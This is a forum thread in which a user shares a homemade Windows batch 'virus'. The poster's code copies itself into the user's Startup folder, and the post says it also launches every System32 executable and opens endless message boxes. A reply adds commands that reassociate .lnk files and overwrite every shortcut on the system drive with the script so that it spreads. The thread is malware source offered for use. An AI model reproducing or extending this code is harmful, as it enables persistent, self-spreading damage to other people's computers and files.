Thread: [Batch Malware & Virus Script \(Created By Me\) Virus Name=\("MXA"\)](#)

Motioncity13 - January 31, 2012, 7:53 pm

So here's a little virus/malware type code i did using batch, I haven't tested it yet, but i can have a video demonstration of it by tomorrow night. Let me know what you think of the code and if you can test it that'd be great! :)

For the n00blets, This code does:

?Copying itself to the Startup directory of the current user.

?Starting every exe file in C:\Windows\System32

?Making a Visual Basic Script that creates a never-ending message box.

Code @echo off

```
copy "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto aftermath
```

EDIT*: I'm going to be adding a lot more to this code, obv.

You should make it infect a few specific binary files; for example Firefox, iTunes, and Skype. Or more specifically make it infect a category of software, for example Instant Messengers, Games, and Web Browsers.

```
Code assoc .lnk=BatFile
```

```
DIR /S/B "%SystemDrive%\*.lnk" >> lnkfile.txt
```

```
echo Y | FOR /F "tokens=1,* delims=: " %%j in (lnkfile.txt) do copy /y %0 "%%j:%%k"
```

I think that should do it :) Infects LNK files:] replace "*.lnk in the second line with whatever extension you want:]
